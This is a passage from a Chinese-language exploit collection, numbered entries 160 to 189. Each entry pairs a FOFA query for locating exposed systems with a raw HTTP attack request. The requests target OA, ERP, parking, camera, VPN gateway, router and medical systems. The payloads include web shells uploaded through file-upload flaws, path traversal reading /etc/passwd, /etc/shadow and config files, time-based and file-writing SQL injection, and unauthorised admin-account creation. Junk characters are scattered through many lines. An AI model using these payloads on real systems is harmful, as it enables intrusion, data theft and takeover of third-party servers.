  ~- y2 h# e) c7 g6 j. `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
& u0 ]  w+ g9 {' C5 v+ oContent-Type: text/xml; charset=utf-8
, B' c* T( }/ k7 c8 L) `: ~5 BSoapaction: "http://rainier/jobUpload"

" [0 S7 l& f+ T! f: i6 w<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 S2 v+ W0 M; j# I4 m<soap:Body>
<jobUpload xmlns="http://rainier">
$ R3 b0 t) ^! y' R; ~. @<vcode>1</vcode>
<subFolder></subFolder>
, r6 s7 r  c+ i<fileName>abcrce.asmx</fileName>
# T6 Q: i2 O3 r; B7 w+ w<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
' k" q+ ^4 Y/ q4 H( e( r; X</soap:Body>
</soap:Envelope>

1 J. m/ U4 @% V
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
1 G* t3 K! {) Q- H2 G3 rCVE-2024-4956
& Q2 ]. Z; [& N# p" ^FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
& Z8 F- a" d$ IUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
& u( b1 s5 Z! X" O! ?8 CConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

8 I1 n; ?( |# X' @. y$ b, p0 `6 ~( [
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
) N$ }9 P4 O4 d6 u. Z" k1 \FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
/ I! b0 m( ?6 k% z0 ~POST /Webservice.asmx HTTP/1.1
5 K, U4 o- [# `6 ZHost: x.x.x.x
4 o$ c; F/ {2 X* X  G- Z( _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
0 g. d) r" A' U" NContent-Length: 445
& s3 o. i2 k5 M# [Content-Type: text/xml
Accept-Encoding: gzip
* R+ r' E( f* C' u+ P( W$ V
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
( C8 G9 _* @5 V& Q# C& b<soap:Body>
7 o. b% V3 K. J<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
% N* b& h7 b1 P! O; x9 v* x' Y; }2 z<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
( ~+ L8 p* W) j/ Z% _$ w</soap:Body>
# _) x' ], Q. u; x" B</soap:Envelope>


8 J* q$ s- U- dhttp://x.x.x.x/dizxdell.aspx
+ T* o9 [6 K% G
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
: m6 t$ s: ?8 D; C  Q: L! w5 pFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
& l& F+ |( h: B3 j' `3 U( aHost: x.x.x.x
( e5 b- q+ y6 e5 G& jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
& G, T6 }. M2 x. q2 l/ Q1 NContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

3 B8 F# D# d/ G/ ?  U; j( f------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
5 `& i( p' N/ b- V9 _8 ?! b" {) U
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
8 \) H, H1 B4 k4 K------WebKitFormBoundaryeegvclmyurlotuey
0 a" |7 ?. q: Y' kContent-Disposition: form-data; name="responderId"
7 V8 Z8 Z) }6 m) O: ^
$ n' G$ V6 D! `$ y, U' sResourceNewResponder
) X  p% r/ q& s4 @" O------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
9 ~0 Q, f. m, K" L------WebKitFormBoundaryeegvclmyurlotuey--
4 N& O# W$ i- E! ^
' Y/ {4 E! ~* h
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
$ b" b, d0 _3 b6 H6 e' C1 F5 z& W
% b- r8 R8 _2 d, U3 Y) @163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
# c% ~1 h* m8 T5 `+ i5 p' pHost: x.x.x.x
# j& E: K) |. Z2 A0 F. P, kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
+ Q1 z: O7 q4 wContent-Length: 293
Accept: */*
4 _+ r# Z. s. {  X& m) }6 @6 a9 \Accept-Encoding: gzip, deflate
( s. X$ ~4 Z, G" r8 B  k! MAccept-Language: zh-CN,zh;q=0.9
4 _6 `( G3 {0 _Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

8 _* J* V0 k% g* u/ C4 }1 }/ t------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

* ?, P8 P8 t% F# k' Q1.php
: Z+ A" K4 Q! n" t* s; V! B( J" R- c------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
7 J- d: t. L4 Z' R& E/ iContent-Type: image/jpeg
  B6 x! z' }& o; Z$ k
rvjhvbhwwuooyiioxega
) I5 M0 T3 r! V. N! ]8 u, Z6 G( b- z------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* z& k$ D+ t* B) U0 g  b, nFOFA: title="智慧综合管理平台登入"
5 M: |2 Z( p/ K3 R0 r+ C9 PPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
8 Q5 c0 W# [) ?( W9 X) @' Y4 qAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
! ~( C! ]# J6 xContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
0 n4 k7 H. r& b1 i8 o; G8 \8 h7 a4 xX-Requested-With: XMLHttpRequest
5 G  j# i, T0 m2 AAccept-Encoding: gzip

6 v6 a6 L9 n, c+ t9 Z------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
0 t& B6 l5 q9 r* ^% ~9 }Content-Type: image/jpeg

( r+ t" {) f1 b. l4 W0 L<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
. G3 I) A0 n9 u+ H: c
3 ]" _  R8 h' J5 I$ N3 l+ M
  c. ~5 G# d4 Y" G8 fhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

8 I5 Y% U; X* O; ]/ q$ P165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

" B9 S1 D/ ~9 }, I: ]- ~' [
; [/ ~. }! K: L1 ]/ S166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
9 u  I- {- E% Q6 v! ]/ cPragma: no-cache
! C8 T4 T6 ?# ?6 X, e" pCache-Control: no-cache
, Y) O: w3 m6 D+ t& OUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 s& ]8 G4 ], S; h) M% lAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 A1 [; L8 T" `! i6 }* lCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
3 z, m. @  I- MContent-Type: application/x-www-form-urlencoded
" U& j9 W5 T: o/ ^! n6 \  AContent-Length: 89
3 n- J# C  h, H& D
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
6 H& s, K3 z- n5 b; k' G
( P, i) u- e2 u
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
+ L/ `: A8 H0 y: X1 w' }Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" s* x9 B3 M( O" @& qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
, Z: v! {" [) Q" Z- IConnection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
7 O6 A& ]9 O' Y3 j- d% [( g2 k7 pContent-Type: application/x-www-form-urlencoded
Connection: close
/ s7 J7 t) Z% N


169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
6 L4 W/ h( K" \$ j  S/ [/ B4 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
3 |2 [' e. S/ qConnection: close
* s# ?1 Z% z# Z2 `& n1 Y


1 W7 F% M6 F* c* q5 @170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  M3 _8 O' f$ i
filename=../webapps/ROOT/WEB-INF/web.xml
, A, ?) |- C9 R3 h  U( i) a

- f4 w, Y2 |4 A& j$ `171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* b$ M* W% C! A# MConnection: close

# G) z, x$ V2 q9 Y

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
5 \0 b1 p% D$ u, @) HGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
5 D* D9 w- [! _+ zAccept: */*
* A" v7 |5 a) E- `Connection: keep-alive
) A/ j8 U. o7 j( Y


173. Check Point 安全网关任意文件读取
$ G1 U3 m: O/ A$ U8 W% m6 S. ]CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
) ^! L& f/ I% l6 K( |& J4 {: |- F6 JPOST /clients/MyCRL HTTP/1.1
5 ]5 z# E( ~& a9 E; GHost: your-ip
  L$ X# S1 L& k* f4 P+ [- JContent-Type: application/x-www-form-urlencoded
5 K5 y( r, R# P! D% w% ^; y
aCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
' `* t. G& `. _* A8 s, N" x$ HFOFA：app="金和网络-金和OA"
# i0 I6 q: I& ?  P9 nGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
+ f/ q* r  j% u( k0 J, t, ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 X9 r0 E5 v$ A: }6 Y: e! @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; P) A1 A& ^) tConnection: close

" @$ z7 B, b' T. K
3 e, j8 P, X6 J2 ~: Q
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
1 w/ Y& K  f" \# d3 U- iGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
% `9 J% L* `, N' x  [" ~, GUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  G" K- ^$ I& T# y1 t! S' O: ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( Q7 n/ o7 ^. HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 D& I) u& J# o2 F6 RAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
; R" j+ k& ~, Z$ Z9 q0 M
9 C5 ]8 u/ P: i
5 B0 R5 T; H. B$ B7 K176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
5 y" Y* V0 u9 n5 Q! VPOST /manager/teletext/material/rewrite.php HTTP/1.1
2 [# ?% c- n  i; y7 YHost: your-ip
4 w% P2 b+ A7 v9 m2 d7 D7 i+ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 f* e7 |7 D. W) T% S" zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

) ~) Y( n, |) ^& A3 Z------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

# V* ^1 j. [- Q% Q# a; i! F# L<?php system("cat /etc/passwd");unlink(__FILE__);?>
' K5 @; |& B, q3 b! Z9 p0 t+ B' _------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
" T7 y& _; [/ \' f; ^+ g8 j  H
% k$ \3 _& o" ~5 z" K( J" \( |) a
------WebKitFormBoundaryOKldnDPT--
+ ~2 X, ?$ B2 K! C: T, ?
/ R" V- u2 |2 [, d9 e! Z2 j
% A$ P0 u7 q, R( U/ I
0 V+ i& Y* i* C1 Q$ x177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
1 c# l& }: d$ a( n2 F/ a2 P/userLogin.asp/../actionpolicy_status/../M60.cfg
* N$ `* ?; K9 Z# b( b" v/userLogin.asp/../actionpolicy_status/../GR8300.cfg
0 B( V- H/ |7 Z2 _% H# x/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
& Z# ]) B$ e; P  b5 T) Q. a/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
9 Q5 O9 n" E2 z; T6 r/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
+ R: d. d; q, b* ~( e/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
. J9 _- I# @0 M& j+ X9 y% J/userLogin.asp/../actionpolicy_status/../ER3260.cfg
2 s  j% r. l5 A5 r5 k% e( w/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
1 \' C. ~' M% m  j/userLogin.asp/../actionpolicy_status/../ER3200.cfg
% h3 Z3 B- q$ x) O' N& y/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
) Q3 t1 q# d% C/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
; e* s$ [# Y. O/ V/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

+ y) w2 K; K+ d% o" F/ F4 u. C
, j6 \' S. b) G% n! t$ s' s178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; ]* f8 V9 L, OContent-Length: 252
  A# A, A( `. N3 N; ^6 b* ?Accept-Encoding: gzip, deflate
3 V/ X5 G, ^$ W3 k4 SConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
9 e+ b( b9 o( V! K6 y# h3 k( AContent-Type: application/octet-stream
+ p" V* c: @- _  {! c4 iContent-Length: 255
* Y% }2 a0 N/ H5 I6 P) F8 d
2 b% ^; V# U' V$ I5 C7 i12234
/ r. }7 I4 X$ d1 t-----------------aqutkea7vvanpqy3rh2l--
6 O6 A0 `6 ~! l. J% Q4 _

7 y4 r4 {# H4 g! R2 [. zGET /imc/primepush/%2e%2e/flex/12234.txt
1 R) c4 r$ T- S7 h  K; B* W
6 l6 M# e1 M0 i* w7 j$ K
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
2 r, p' _6 q5 X$ b2 B$ e$ s$ LHost: {{Hostname}}
. I- ~. c* Y8 S. AContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=


6 i# q( @* P/ _, U/ ~4 ]180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
7 @% c* a9 K3 ]: \GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: |0 M# v$ T# W, A8 M$ }  d" DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 v% E  t5 z& }5 L' l, [! Z: I) jConnection: close
* M+ \; k" G9 N' G6 H: v4 Z* ]

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
9 {# R  O* O+ ?2 L; g6 e: X. o* EFOFA："PDCA/js/_publicCom.js"
5 R' M8 f/ f, l& x6 }# u2 a- ePOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
) l2 B4 F' t4 W. HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
2 U1 F- |/ y! n- jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

1 j# E& K+ W5 Z3 N! P
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

0 @/ n0 C5 {5 P% \8 Q8 k
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
' w- z/ h9 w. u5 E) J, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 O0 g; P+ i1 q2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ l4 Z! h$ ^6 iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
2 }7 \& n1 r4 g6 d# G: fConnection: close
Content-Type: application/x-www-form-urlencoded

0 o2 t$ ~1 W' Y& z" k( j8 Y
username=test1234&pwd=test1234&savedays=1


$ i' i5 C; M) i, [( S  y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
7 @$ l, M8 l1 ZGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
) c5 V' B) Z, g6 uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 ]( V- ]! K- V" B) `Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
# F1 V& A, E2 P4 g$ VConnection: close


) u* J4 b- ?; J" t+ [# S184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
, I' S8 n$ `( N' O, fPOST /soap/AddUser HTTP/1.1
! f: @& h! t+ N/ H0 m% U) EHost: your-ip
Accept-Encoding: gzip, deflate
5 l/ z6 w" x1 y" _& xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 j1 s8 ^+ w5 @9 W5 p% g% Z: cAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
5 c0 t8 {5 f7 x6 I; Y8 l
+ s$ N: W7 v* g
185. 瑞友天翼应用虚拟化系统SQL注入
; O) U( p& K$ ^+ }* [! N9 E0 Zversion < 7.0.5.1
3 Z0 P1 o* q, o9 z" o* ZFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
  L7 n9 D1 A8 A0 k% M2 V1 tHost: host
9 W  |+ |3 ]3 O8 B3 R

186. F-logic DataCube3 SQL注入
  J6 F% _1 _& a3 \( N5 h" fCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
9 j' n! S5 K. @8 aFOFA：title=="DataCube3"
# [! r& H+ M  [$ P; I) o# SPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
. R9 y! N1 D- @$ ~+ a( ~) IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
( f2 J7 n+ F, RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


* t# A% ^8 ^( Q6 Z" k' }5 R187. Mura CMS processAsyncObject SQL注入
/ K4 c* k$ @7 j- P) z. ?CVE-2024-32640
* q1 D- |+ W" O& `. n/ IFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
8 I! A5 B9 j0 p3 R5 F

. v/ C( E% c# i1 W  q: z& uobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
9 y; r, n7 u: L1 p

/ N. t+ |6 E  P% w% b7 W188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" s5 C) N. I1 `! l  E5 t0 R: g, y8 C  EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: S- v  H3 w: l9 L) u& {" ]# _& S$ HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 d2 Y/ j6 R' ^. H' \0 LConnection: close
6 W/ U' U2 g1 @5 W5 H) F

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
; T" a- I3 z5 ~1 ~# [' w0 KFOFA：app="LANWON-临床浏览系统"
4 q8 K& C# N! q& d( Y0 U- O7 CGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
; s! b* Q: m' E* Y; XHost: your-ip
